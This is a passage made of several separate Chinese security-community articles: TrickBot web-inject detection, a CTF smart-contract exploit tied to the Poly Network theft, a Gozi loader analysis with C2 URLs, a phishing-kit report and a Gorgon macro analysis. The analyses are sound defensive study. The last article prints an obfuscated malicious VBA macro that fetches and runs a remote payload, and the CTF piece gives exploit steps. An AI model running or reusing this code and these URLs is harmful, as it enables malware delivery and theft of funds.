伪造的服务器在发送登录凭据的时候会在攻击者端触发警报，允许网络攻击者利用窃取到的登录凭证在真实银行的登录页面上登入受害者的银行账户。当受害者还在伪造的服务器上耐心等待时，攻击者已经开始在查看受害者的银行帐户和交易限制信息。在这一点上，异常漫长的等待时间可能是受害者用来判断是否被攻击的指标。由于浏览器的URL地址栏仍包含合法银行网站的域名，因此重定向到伪造的银行网站不会给用户留下任何其他视觉痕迹，即使受害者会检查URL地址栏中的SSL证书，他也只会看到真实银行网站的证书。
当攻击者希望将资金从受害人的银行账户转出时，他们通常在银行业务会话中面临额外的安全问题。通过一个控制面板，欺诈者可以与他们的受害者进行交互，而此时的受害者仍然只看到一个“please
wait”消息。在攻击者的操作下，“please
wait”消息页面会被其他的伪造页面替换，这些伪造页面用于窃取攻击者执行电子诈骗所需的信息。这些伪造的请求页面是攻击者精心构造的，以用来诱导受害者回答他们，这些答案通常包含签名令牌，是攻击者提供诈骗受害者帐户所需的最后一条信息。
**
**
**检测Web伪造**
Web伪造通常也被称为重定向攻击，由于与合法银行服务器的唯一连接是由木马本身进行的连接（受害者发起的连接被重定向到了恶意服务器），因此该类型的网络攻击很难从银行的服务器端进行检测。一般地，受害者浏览银行网站时与合法银行服务器建立的连接通常在浏览器的URL地址栏中会显示“安全连接”的图标，并显示合法银行网站的SSL证书。
TrickBot在其重定向攻击中生成的初始SSL连接或许可以在银行网站的服务器日志中检测到。当客户浏览网上银行平台时，浏览器中会加载一个欢迎或登录门户页面，并包括该网页上的所有资源信息（例如image，外部scripts等等）。对这些资源的每个请求都会在服务器日志记录中生成一个条目。但是，TrickBot的SSL连接似乎并没有加载所有这些资源。这种缺少资源的异常加载现象可能是一个很好的特征以用来检测TrickBot。
**
**
**服务器端注入**
TrickBot的服务器端注入是一种网络注入技术，它将额外的客户端代码（例如HTML，JavaScript）插入或者注入到目标网页中。在TrickBot的Web
injects配置列表（如图1所示）中，服务器端注入使用dinj标签定义。当受害者浏览到目标网站（即银行网站）时，该银行服务器的响应在发送给用户之前被TrickBot拦截（如图3所示），然后银行的响应将发送到攻击者的服务器上（如图4所示）。攻击者的服务器将在网页中注入额外的代码（服务器端注入），并将注入后的结果发送给受害者。
图3：服务器端注入过程
图4：攻击者服务器获取到银行发来的响应
首先，将整个页面发送到攻击者服务器（只是为了恶意服务器可以将其恶意代码注入到正常的响应中）的这种策略可能会导致很多不必要的开销。这与其他较老的银行木马（如Zeus和SpyEye）使用的客户端Web
injects策略不同，客户端Web
injects可以有效减少攻击者服务器所需的带宽和处理能力。较旧的银行特洛伊木马通常将注入代码作为其配置的一部分，使用data_before/data_ends标签以及data_inject标签来定义。但客户端注入的缺点是，安全研究人员可以很容易通过解析接收到的配置来判断目标网站是否被注入了恶意代码。因此，服务器端注入是一种较为“聪明”的手法，使用该方法可以尽可能的隐藏其配置方案，以免遭安全专业人员的分析。
服务器端注入的代码通常用来实施社会工程学攻击，例如实施Web伪造。然而，另一个流行的注入代码策略是“表单抓取”。与密钥记录不同，“表单抓取”代码用于获取HTML表单中的信息，该代码允许木马捕获并窃取表单中存在的敏感信息，而密钥记录则会捕获用户输入的所有数据。另外，抓取的数据会被标记，例如标记为密码等，这在一定程度上大大简化了提取过程。密钥记录通常会在其日志中生成大量垃圾数据，往往分析人员需要耗费大量的时间去查找有用的信息。此外，表单抓取另一个优点就是在执行的过程中不需要操作者对其进行实时响应。例如一个表单抓取器，它可以获取在亚马逊网络商店中提交的信用卡号码。这些信用卡号码可以被捕获并存储在数据库中以供将来使用。图5中展示了服务器端Web
injects攻击的流程，其中使用了社会工程学和表单抓取。在这种情况下，受害者一直在“等待”服务器的响应，而攻击者则在后台默默的对其账户实施网络攻击。
图5：服务器端Web injects攻击的过程
**
**
**服务器端注入的检测**
由于浏览器呈现的大部分代码仍来源于银行的合法服务器，因此从银行的角度来看，服务器端的Web
injects比Web伪造更易于检测。由于银行的服务器能够指定部分渲染的代码，因此它也可以指定浏览器对渲染的代码进行完整性检查。这种完整性检查可以是一个集成在银行门户网页上的JavaScript，以用来检查网页是否被注入恶意代码（例如“表单抓取”代码）。负责完整性检查的代码当然也可以由攻击者通过注入“反完整性检查”的代码来绕过，所以这种检测方法的关键是要很好地隐藏检查或者经常改变它们的代码实现，这种技术在一篇博士论文中被称为“防范基于浏览器的数据渗透攻击”，详情请点击[这里](https://d.lib.msu.edu/etd/1716/datastream/OBJ/download/Defending_against_browser_based_data_exfiltration_attacks.pdf)。与这篇博士论文中提到的技术类似，该网站上阐述的[代码修改检测技术](https://security.stackexchange.com/questions/36716/how-do-some-sites-detect-adblock-plus)也可以用来检查网页是否被注入恶意代码。
在我调查TrickBot的时候，我注意到有时TrickBot会创建一个不是由银行服务器设置的cookie（如图6所示），这个名为'tknz_referrer'的cookie似乎存储了与注入页面相关的进度或者状态信息。由于默认情况下，浏览器会将请求中的所有Cookie绑定在一起发送给服务器。因此，检测银行服务器端的这种cookie似乎是识别网页是否被TrickBot感染的一种理想方法。
图6：TrickBot 生成的“tknz_referer”cookie | 社区文章 |
# 从一道智能合约赛题看Poly Network事件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前几天参加了一个比赛，上面有一道题目与Poly Network
事件攻击手法类似，写一篇文章来总结一下。简单说一下攻击的点在于函数签名值的爆破，错误的设置合约owner。
## 代码分析
合约的代码文件在[Github](https://github.com/zpano/BlockChain-Security/tree/main/solidity%E5%90%88%E7%BA%A6%E8%B5%9B%E9%A2%98%EF%BC%88%E5%85%A8%E9%83%A8%EF%BC%89/%E8%B5%9B%E9%A2%983)上，可以自行下载。下面分析漏洞点
//DVT3.sol
function changeOwner(address newOwner) public onlyOwner returns(bool) {
require(newOwner != address(0));
emit OwnerExchanged(owner, newOwner);
owner = newOwner;
return true;
}
function payforflag() public onlyOwner {
emit SendFlag(msg.sender);
}
}
在这段代码中，我们想要实现触发SendFlag事件必须要有owner权限，而changeOwner函数权限也掌握在owner中，我们无法突破。但是让我们来看另一段代码
//Airdrop.sol
function TransferOrAirDrop(address to, bool isTransfer, bytes calldata _method, uint256 amount) external {
if (isTransfer) {
bytes memory returnData;
bool success;
(success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),abi.encode(msg.sender,to,amount)));
require(success, "executeProposal failed");
} else {
bytes memory returnData;
bool isFristAirDropFlag;
bool success;
if(AirDropCount[msg.sender] == 0) {
isFristAirDropFlag = true;
} else if (AirDropCount[msg.sender] > 2) {
return;
}
(success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bool,address)"))), abi.encode(isFristAirDropFlag, msg.sender)));
require(success, "executeProposal failed");
AirDropCount[msg.sender]++;
}
}
}
在TransferOrAirDrop函数中，使用了call调用，但是未做调用函数名的限制，且_method参数可控，就可以通过爆破函数签名的方式调用token合约上的任意函数。在此处我们依旧可以注意到
对于DVT3合约上的owner被设置为了Airdrop的地址，也就是说我们可以调用前面提到的changeOwner函数变成合约的owner，进而实现触发SendFlag事件。
## Poc分析
import sha3
from Crypto.Util.number import *
p=sha3.keccak_256()
p.update(b'changeOwner(address)')
print(p.hexdigest()[:8])
#a6f9dae1
再分析下面的两个call调用
(success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),abi.encode(msg.sender,to,amount)));
(success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bool,address)"))), abi.encode(isFristAirDropFlag, msg.sender)));
对于第一个调用我们需要爆破出满足`_method(address,address,uint256)`函数签名为0xa6f9dae1的_method，往后传入的第一个参数为msg.sender，恰好等于下面的代码
token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked("changeOwner(address)"))),abi.encode(msg.sender)));
对于第二个调用我们需要爆破出满足`_method((bool,address)`函数签名为0xa6f9dae1的_method，往后传入的第一个参数为isFristAirDropFlag，恰好等于下面的代码
token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked("changeOwner(address)"))),abi.encode(0x0/0x1)));
上述参数传递使用了Solidity语言的参数传递优化自动对齐的性质。
但是对于第二个调用不能是我们变成DVT3合约的owner，不太符合我们的调用。所以我们选择第一个调用。
## 攻击过程
使用 github.com/ethereum/go-ethereum/crypto 的库编写一个Go语言的多线程爆脚本 大致经过十五分钟可以出结果
可以看到两者的签名相同
转化出攻击参数
进行攻击
成功实现攻击
最后实现触发SendFlag事件
## 与Poly Network 事件的联系
在[Poly Network官方开源的源码中](https://github.com/polynetwork/eth-contracts/blob/master/contracts/core/cross_chain_manager/logic/EthCrossChainManager_new_template.sol#L185)的_executeCrossChainTx函数中，我们可以容易的看到这一行
(success, returnData) = _toContract.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_args, _fromContractAddr, _fromChainId)));
就可以在_toContract对应的合约上调用任意的函数，同时_toContract对应的合约上没有进行合理的鉴权，攻击者通过爆破_method从而调用
putCurEpochConPubKeyBytes 函数去替换 _toContract合约上的Keeper 的Public Key Bytes。
function putCurEpochConPubKeyBytes(bytes memory curEpochPkBytes) public whenNotPaused onlyOwner returns (bool) {
ConKeepersPkBytes = curEpochPkBytes;
return true;
}
在用替换后的Keeper的Public Key Bytes对应的私钥进行签名即可通过所有检查执行调用 LockProxy 合约将其管理的资产转出。
可以从[函数签名库](https://www.4byte.directory/signatures/?bytes4_signature=0x41973cd9)中找到
## 总结
本次攻击利用的三个点
* 权限控制错误
* call调用参数可控
* 函数签名值的爆破
本次漏洞的发生在本质上还是对于call调用的错误限制，并且和其他的漏洞组合使用导致了Poly Network
6.1亿美金的被盗事件。在智能合约的开发实践中还是需要注意严格控制call调用，不可使其参数可控。同时对于一些关键函数的权限控制在审计时应作为重点审计。将这些函数的使用权掌握在可控的地方，不可被恶意利用。 | 社区文章 |
# 分析思路分享-银行木马Gozi第二阶段loader样本分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
好久没分析样本了，最近闲暇之余有时间又刷了一下Bazzar.abuse.ch，下载并分析了一些最近上传的样本，其中有一个被标记为了Gozi的样本比较有意思，在这里分享给大家。
以后关于恶意样本的分析文章，主要是分为总结类和思路分享类，在思路分享类文章中，笔者会尝试将分析中遇到的一些实际问题、猜想和解决思路分享给大家。在总结类文章中中，主要是尝试用更为精干的语言写出有质量的报告。
文章难免出错，欢迎和感谢各位大佬对其进行斧正。
## 样本分析
### 基本信息
样本来源：<https://bazaar.abuse.ch/sample/dddf5829a3bdcb2b6562eb194a138f8de5da26eb5dda0bbfacbbf1124ad51ec6/>
家族基本信息：
银行木马Gozi
由于目前此类样本的诱饵较多，这种银行木马的诱饵基本都千篇一律，这里就不再赘述诱饵相关信息，直接看看样本。
### 代码分析
**样本WinMain**
好久没分析样本了，先通过WinMain复习一下汇编阅读吧~
样本是由vc系列编译器编译的exe，有着标准的WinMain函数，WinMain函数首先是进行了栈初始化，然后：
1.程序首先是将Strings1变量的内容赋值给了eax寄存器
2.将eax+1地址处的值取出来赋值给了edx，后面将会使用该值进行跳转的条件判断
3.xor ebx,ebx 将ebx寄存器的值清零。
4.0041012B到00410130是一个小循环，该循环中程序首先将eax指针所指的值赋值给cl，然后指针自增，判断cl是否等于bl，上面ebx清零的操作已经将bl置为零，所以这里实际是在判断eax指针指向的内容是否为0。所以此操作是在判断eax所指向字符串的有效长度，此操作执行完成之后，eax会指向String1字符串的尾部。
5.计算完成之后，使用eax减去edx即可获得String1字符串的长度，接着比较长度是否等于722359，如果长度等于，程序则会继续执行后面的代码，否则跳转到loc_4101AB继续执行。
这里第一次运行的时候，String1的长度明显是空，理论上来讲，如果没有在CRT中操作String1的值，那么这里代码肯定会无法通过长度比较，从而跳转到后面执行。
接着往下看，String1的长度比较比较之后，到loc_4101AB处程序会判断dwSize的值是否等于976h，如果相等，则会依次调用ReleaseMutex、InitAtomTable和QueryPerformanceFrequency函数。其中ReleaseMutex和InitAtomTable参数均为0；而QueryPerformanceFrequency函数常在多线程的情景中使用。
若dwSize不等于976h，程序则会判断dwSize是否等于0CD2h，若相等则创建一个管道，但是看这里的参数，感觉这部分代码后面应该是不会执行的：
接着程序分别判断了两个变量，变量1(ESI)是否大于21E49Fh，变量2(ebp+3A8h+var_418)是否不等于7239C9EEH.
这里如果esi不大于21E49Fh或者变量2不等于7239C9EEh，程序则会跳转到loc_41020D的地方，给esi自增，自增之后判断esi是否大于等于38F964FFh，如果不等于则跳转回循环一开始的地方执行。否则就跳转到loc_410236继续执行。
通过简单的分析，可以知道这里的循环只有两个出口，就是0041020b处的jnz loc_410218和410216处的jmp loc_401236。
可以看到的是，两个出口都依赖于esi的值，由于第一个出口比较的值比第二个小，所以程序会从一个出口出来，出来之后，esi的值应该为21E49F+1 =
21E4A0
退出循环之后，程序会再次比较dwSize的值是否等于0D47，若相等则调用FindFirstFileEx查找文件，否则跳转到loc_410256依次调用sub_40FC99函数和sub_401AC7函数，然后WinMain结束。
这里可以看出来，前面应该都是环境验证的操作。当程序第一次运行的时候，只会执行WinMain最后面的这两个函数。
**WinMain- >sub_40FC99**
由于样本代码太长，汇编代码实在太多，无法将分析思路全部记录下来，接下来将会只记录重点操作。
进入到40FC99函数之后，程序首先是进行了三个判断，分别是判断
ebp+var_8A8变量是否等于4CAD2h
String的长度是否等于0B4F43
String1的长度是否等于31295h
若三个条件同时满足，程序则会调用GetFileAttributesEx，否则跳转到loc_40FD4C继续执行，这里想都不用想，第一次执行的时候肯定是不满足。
往下走之后，程序会有非常多的判断，代码很没有条理性，第一次运行的时候每个判断都没通过，不知道是否是为了干扰分析人员。
其中比较关键的操作是通过LocalAlloc函数分配了一段堆空间：
且堆空间分配成功之后，会赋值到0x506EAFC
之后在sub_40FADF函数中对这片内存进行解密：
解密之后会在函数底部，通过jmp lpAddress的操作，这里可以可以看到地址是写死的，就是0506EAFC
所以可以直接在这个地址里面对应的堆空间首地址设置断点F9跑过来：
通过05266493函数解密API地址：
将LoadLibrary和GetProcAddress两个API解密出来之后，程序会开始动态解密其他所需的API：
比较值得关注的API有：
Sleep
VirtualAlloc
CreateToolhelp32Snapshot
Module32First
解密之后，程序首先会通过CreateToolhelp32Snapshot创建一个进程快照，然后通过Module32First检索对应的模块信息：
接着程序VirtualAlloc分配了一个地址空间：
接着在05266902这个函数中解密出shellcode存放在这片内存中，并通过一个jmp跳转到shellcode执行：
**shellcode**
过来的shellcode依旧是按照之前的方法解密出LoadLibrary和GetProcAddress两个API，然后去加载后续的API。
在这段shellcode中新解密的API有：
VirtualAlloc
VirtualProtect
VirtualFree
GetVersionEx
TerminateProcess
ExitProcess
SetErrorMode
API解密完成之后，程序会首先通过SetErrorMode函数来判断当前的运行环境是否在沙箱中，如果在则调用ExitProcess退出进程。
接着调用GetVersionEx获取当前操作系统的版本信息
接着再次VirtualAlloc分配一段内存空间
通过循环解密，根据下面的VirtualProtect和解密出来的第一个字节 4D，这里很明显是在解密一个PE，等下加载执行。
解密完成之后，程序通过VirtualProtect将00400000开始的地址更改为可读可写可执行属性
设置之后，将00400000开始的地址清空，方便将解密之后的PE覆盖自身内存
然后把先前解密出来的PE移过来到00400000开始的地方：
通过多次调用，将所有数据移过去之后，调用VirtualFree释放原本的PE空间：
重新load Kernel32.dll
然后通过GetProcAddress获取各个API地址，由于此次获取的API地址过多，这里就不一一列举了。
这里是个大循环，会依次获取每个dll的API，直接在后面设置断点即可：
所有API加载完毕，程序会调用终止函数atexit，然后jmp eax的方式跳转到新的PE中继续执行。
### 新PE分析
调试这种shellcode的时候，可以考虑建立一个快照，然后对一些常用的API设置断点以防程序跑飞，比如
VirtualAlloc
CreateThread
CreatePorcess
OpenPorcess
……
其他的API根据样本行为再添加
转入的新PE首先通过SwitchToThread准备线程调度。
接着还是分配了一段内存空间用于存放一些字符串
然后将这部分内存拷贝到00404000处，清空此片内存：
APC线程注入：
**新线程分析**
创建文件的内存映射：
再次解密一个PE，跳转进去执行：
内存PE代码混淆比较严重，但是也是关键的模块了，程序会获取当前主机的一些基本信息进行网络请求。
比如获取UserName
获取ComputerName
解密出请求头：
利用获取到的信息设置请求参数：
soft=3&version=250161&user=87704afd42dddba9a6cdc8874a4c424e&server=12&id=8005&crc=1&uptime=74782
解密出第一个请求地址：
siberiarrmaskkapsulrttezya.ru
编码请求参数准备请求：
拼接完整的请求路径：
这里可以看到，请求路径最后是A.avi.rI.avi，这里貌似是在下载文件，但是很可惜的是目前域名已经无法响应，没能或许到后续内容。
接下来修改IE注册表，并且注入IE进程，通过IE进行循环请求。
循环请求时，程序还有其他的备用域名：massidfberiatersksilkavayssstezya.ru和dolsggiberiaoserkmikluhasya.chimkent.su
和上面一样，这里也是拼接请求地址尝试下载一个m.avi
massidfberiatersksilkavayssstezya.ru/images/JZ_2BlnEMJ5ubcGk0/MH0mpeGhwq6w/4AncNADtjcC/DZ_2F7_2BeMS6l/gX7ftVVQD7F1lnHc_2Fkf/HCoaIYuNpqXYqG_2/BrvG_2FsMd2uvqF/DYV_2BqCHpXosKYE8M/CwW3zlxw3/qoYC1j2ACF9SkfQtLUGX/MdBbbemHLb/m.avi
同上，由于请求地址均已不能访问，暂时还不知道这里请求的avi文件到底是何方神圣，由于时间和篇幅的原因，后续如果能捕获到后续的文件，笔者再分享给大家。
### WinMain->sub_401AC7
sub_401AC7函数没什么功能，不用分析。
## 总结
经过目前的分析来看，WinMain中前面的各种判断代码，应该都是不会执行的，目的可能只是稍微干扰下分析人员，当然也有可能是因为此次分析的太粗糙，没有完全理清楚这其中的奥妙。银行木马是一个很神奇的东西，由于直接与利益相关，这类木马往往比一般的APT木马还要更为复杂和先进，笔者这里只是管中窥豹，看到的只是这些恶意家族的冰山一角。也希望在未来能有更多的时间分析和学习相关样本。 | 社区文章 |
# 高强！钓鱼源码“十三合一”及摩斯密码在钓鱼诈骗中的应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期在对黑灰产的研究过程中，发现了一条贩卖钓鱼源码的产业链。该钓鱼源码号称，其包含盗取通讯录APP、冒充闲鱼、转转、交易猫、京东、QQ空间、卡框等多个功能，简称
**“鱼转转鲨鱼台子最新十三合一”。**
然而，大多数售卖源码的平台均表示“不知道这是干嘛用的…”，目前市场价几百元不等。
是不是很奇怪？
自己卖源码，却不知道源码是干啥的
但其实
这正符合现在黑灰产行业的现状
**“职业化分工”**
在对源码分析的过程中发现，此套钓鱼源码集成度高，涵盖多个主流平台的诈骗场景： **通讯录信息获取、虚假商品交易、社交账号盗取**
……代码结构也更加的复杂，对访客设备采用了多重校验机制。
## 盗取通讯录APP
多用于裸聊诈骗中，诈骗团伙以视频裸聊为幌子，诱导受害人安装恶意APP，盗取其手机通讯录，用录制的裸聊截图群发通讯录好友为由进行资金敲诈。
## 电商平台（以虚假的京东页面为例）
主要是模仿电商交易平台，诱导受害人在虚假的电商平台下单支付。以虚假的京东商品页面为例：
点击页面中的“立即购买”会跳转虚假的商品支付链接。支付完成后，钓鱼后台可以看到下单人员支付进度，包含下单人员IP、收货地址、电话、商品名称，下单人员当前位置、是否进入支付界面，是否完成支付……
有趣的是
页面仿真程度超乎想象
也就是说，黑灰产人员盗取官网商品页链接，修改了“购物车”和“立即购买”按钮代码，其他保留了官网平台的代码逻辑，达到以假乱真的程度。
## 二手交易平台界面（以虚假的闲鱼页面为例）
当用户点击页面中的“我想要”后，跳转至手机淘宝快速登录界面，然而，用户无论选择何种登录方式，都会跳转到购买宝贝页面。用户输入收货地址、手机号、完成支付，钓鱼后台也可以看到用户下单的进度。
在这个过程中发现，“登录”页面存在对访问用户进行验证的环节，为了防止刷新依然停留或以防用户转发，让访问环节看起来更“合理”。
由于源码中的“支付”环节并没有引入支付体系，所以区别于正规平台，采用了让用户扫码支付的形式，遇见这种情况，用户要有所警觉。
## QQ空间
虚假的QQ空间的界面，诱导用户填写QQ账号和密码。然而，巧妙的地方在于当用户填写QQ账号和密码后，会跳转到真正的QQ空间界面，造成一种用户输错的错觉，但管理后台已经将“账号、密码、IP、地址、时间、登录设备”记录到数据库。
十年前也同样出现过使用此种方式盗取QQ账号和密码的诈骗手法，首先是强行关闭正在运行的QQ程序，紧接着伪造QQ重新界面诱导受害人填写QQ账号和密码。
由于移动互联网的盛行，传统的QQ钓鱼手法日渐衰落，但对于QQ信封的资源需求却在日益递增，身份冒充诈骗、QQ账号资金盗刷、用于诈骗隐藏真实信息。
## 钓鱼诈骗源码的新趋势
上述的手法看似简单，都是传统的诈骗手法，但对此些代码进行隐蔽包装，即可生成新型的难以识别的钓鱼攻击，这种隐蔽式钓鱼网站，逐渐成为主流。但国外的网络安全人员发现，新型的钓鱼攻击开始使用摩斯密码来隐藏URL，虽然与上述方式不同，但都异曲同工。
谁能想到
摩斯密码还能这么用 | 社区文章 |
# 非PE恶意代码分析之Gorgon组合拳
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在上一小节，我们分析了两个简单的office宏样本，也算是对非PE的攻击样本有了一个大概的了解，在本小节中，我们将分析一个Gorgon组织的样本，该样本通过VBA、powershell、VBS等方式进行组合攻击。算是目前非PE攻击中玩的比较溜的。
通过VT我们可以知道，该样本上传于2019年12月，文件类型为docx，上传文件名为：Cronograma Executivo – Reservas
(1).docx
译为中文大概是：储备执行计划.docx
光从文件名上，我们不能很好的分析该文件的攻击背景和目标等。
样本MD5为，85e12cab0cf1f599007e693e66f42de8
app.any.run下载连接为：<https://app.any.run/tasks/a7803beb-d5a3-44a2-a928-9ab6c7552ee3/>
此外，通过VT我们可以得知该样本是CVE-2017-0199漏洞的利用文档，通过对该漏洞的搜索，可以得知该样本将会通过模板注入的方式进行攻击。
原本的大概执行流程如下。
## 0x01 原始样本
将原始样本下载到本地，在虚拟机中添加docx后缀并打开该文档可以看到如下的内容：
这是通过模板注入的漏洞，在文档打开的时候从指定的地址下载文件并加载执行。
这里可以看到，注入的地址是https[:]//gritodopovo.com.br/natalidade/new.wiz
需要注意，模板注入类的Office文档，这里的注入地址只会显示一次，之后再次打开该文档将不会再显示该注入地址。所以针对模板注入类的office文档分析，我们可以在打开的时候进行截图，保留下该注入地址。
也可以通过类似7z的压缩软件对该docx文档进行解压缩。
因为2007版本之后的office文件的本质就是一个压缩包，所以我们通过7z打开文档可以看到如下的内容：
通常来说，注入的地址应该在word文件夹下的_rels文件夹下的文件中
在该样本中是在header1.xml.rels文件中：
找到了模板注入的地址，我们来看看原始的文档内容，文档打开之后用于迷惑用户的内容是一张不完全的图片（攻击者是有点不太走心。。）
首先，文档内容应该是来源于某个正常文档的截图，可能是因为格式方面的原因，攻击者直接以截图的形式放到文档中，在文档左上角，有一个人头，并且备注是Valter
Oliveira da Silva Director Executive，表示Valter Oliveira da Silva的执行董事，我们对Valter
Oliveira da Silva进行查询：
经过筛选可以得知Valter Oliveira da
Silva应该是位于巴西的建筑公司。所以可以初步推测，该样本是针对巴西建筑商/与建筑行业相关客户公司的攻击事件。
## 0x02 模板注入的文档
我们在VT上搜索模板注入的地址可以看到六个月前是可以正常的请求的，但是很可惜，这里的Body内容VT上没有保存，于是我们只能自己尝试获取该内容了，好消息是，样本虽然已经发布了半年多，但目前还是可以正常访问请求地址的。
使用笔记本，连接手机热点网络，使用浏览器或python访问该地址，下载对应的文件到本地继续分析。
为了方便我是直接在chrome中请求该地址的，可以要下载的实际上是一个rtf文档。
### rtf文档分析
将整段内容保存到本地，在虚拟机中添加rtf后缀并打开。
rtf文档打开之后，弹框显示了excel的界面并且提示用户启用宏代码：
这里无论单击启用宏还是禁用宏，都会继续弹框显示，这是Gorgon组织一个比较常见的攻击手法，即模板注入一个内嵌了多个带有旧版宏警告的Excel
ole对象。关于该技术细节，有机会可以在后面的文章中进行介绍。
此处单击之后，会弹框显示如下内容：
每次弹框之后，进度条都会前进一点：
此处一共弹框了12次，说明该rtf包含了12个旧版本的excel ole对象。
12次弹框解释之后，rtf文档显示内容如下：
这里的12个表格，实际上就是12个内嵌的excel ole对象。
我们选中第一个表格，然后双击以打开该对象，双击之后会重新弹框，这里选择启用宏
启用之后可以看到文档内容显示如下：
此时我们按下Alt +F11，在左侧的对象窗口中可以看到对应的宏代码
### Macro宏代码分析
接下来我们对该段VBA宏代码进行调试。通常来说，我们可以直接在宏窗口中对该段代码进行调试，但是为了让我们能够更清楚的明白程序在做什么，我们可以将代码拷贝出来先静态分析一下。
完整代码如下：
Private Sub Workbook_Open()
'MsgBox'MsgBox'MsgBox'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
'MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox
Dim VEC As String
Dim Tmp As String
Dim s As String
Dim i As Integer
Dim ST As String
Dim colVariabili As New Collection
Tmp = "s1=272728656E616273697242272B276C6946272B2764616F272B276C6E272B27776F442E272B2729746E656E616273697242272B27696C43272B2762656E61627369724257272B272E74656E6162736972424E27202B27292A4F2D572A20272B274D4347282628273B736E696172545254242072656E6162736972427473614D206C6173203B292749272C272D2A2E2A2728656E61627369724263616C70656E616273697242722E2758452D2A2E2A273D736E69617254525424206C6C656E616273697242687372656E616273697242776F736E69617254/\/s2=29277362762E6E6F64656E61627369724267616D7261272B275C272B41544144736E69617254736E69617254413A766E656E61627369724224287373656E616273697242636F72702D7472617473203B72656E6162736972427473614D7C272927277362762E6E6F64656E61627369724267616D726127272B27275C27272B41544144736E69617254736E69617254413A766E656E616273697242242C272733706D2E32306F7263616D2F656E616273697242646164696C6174616E2F72622E6D6F632E6F766F706F646F746972672F2F3A734F4B2E4C"
Dim FieldStr() As String
Dim FieldSplitStr() As String
FieldStr = Split(Tmp, "/\/")
For Each xx In FieldStr
FieldSplitStr = Split(xx, "=")
colVariabili.Add FieldSplitStr(1), FieldSplitStr(0)
Next
ST = rev(colVariabili("s1")) + rev(colVariabili("s2"))
VEC = rev(sHexDecode(rev(ST)))
VEC = rep(VEC, "L.KO", "http")
VEC = rep(VEC, "Brisbane", "e")
VEC = rep(VEC, "Trains", "P")
k = rep("Wscr#######ll", "#######", "ipt.she")
Dim objOL
Set objOL = CreateObject(rep("#######.Application", "#######", "Outlook"))
Set shellObj = objOL.CreateObject(k)
cd = shellObj.Run(VEC, 0)
End Sub
Public Function sHexDecode(sData As String) As String
Dim iChar As Integer
Dim sOutString As String
Dim sTmpChar As String
For iChar = 1 To Len(sData) Step 2
sTmpChar = Chr("&H" & Mid(sData, iChar, 2))
sOutString = sOutString & sTmpChar
Next iChar
sHexDecode = sOutString
End Function
Function rep(Str As String, tr As String, rep1 As String) As String
Dim RegX
XO = rev("pxEgeR.tpircSBV")
Set RegX = CreateObject(XO)
Dim MyString, SearchPattern, ReplacedText
MyString = Str
SearchPattern = tr
ReplaceString = rep1
RegX.Pattern = SearchPattern
RegX.Global = True
ReplacedText = RegX.Replace(MyString, ReplaceString)
rep = ReplacedText
End Function
Function rev(Str As String)
For i = Len(Str) To 1 Step -1
Var = Mid(Str, i, 1)
reverseString = reverseString & Var
Next
rev = reverseString
End Function
拆解一下该段代码，首先是定义了一个Workbook_open()的方法，结合我们之前分析的内容，这里应该是用于在打开文档时进行弹框，让用户无法进行其他操作。
接下来程序通过Dim定义了几个变量。
程序将从22行的地方开始正式执行，首先是将一个超级长的串赋值给了Tmp，从串的内容中我们可以看到该串实际上包含了两个子串，一个是s1，一个是s2.
Tmp赋值之后，程序新定义了两个变量，其中FiledStr用于分割Tmp变量，分割的值是 “//“
从图中可以看到，这里分割之后，FiledStr实际上就等于s1
然后通过一个for each循环来操作FieldStr(s1)
操作的方法是以 “=” 分割并赋值给FieldSplitStr
分割完成之后，程序分别将FieldSplitStr(1) 和FieldSplitStr(0)添加到了colVariabili中，根据之前
Dim colVariabili As New Collection
的定义可以得知colVariabili是一个集合。
成功添加到colVariabili集合之后，程序会调用rev分别对colVariabili(“s1”)和colVariabili(“s2”)进行处理然后赋值给ST
rev函数的具体实现最代码最后：
可以看到，rev函数的实现很简单，就是遍历参数，然后通过Mid运算进行翻转。回到上面rev调用的地方继续往下看。
ST赋值完成之后，程序会再将ST传给rev函数进行转换，然后将转换后的值传递给sHexDecode函数进行运算，最后将运算后的值再次传递给rev函数转换后赋值给VEC变量。
然后VEC将自身加上一些其他参数，三次调用rep函数，现在我们分别查看一下sHexDecode函数和rep函数。
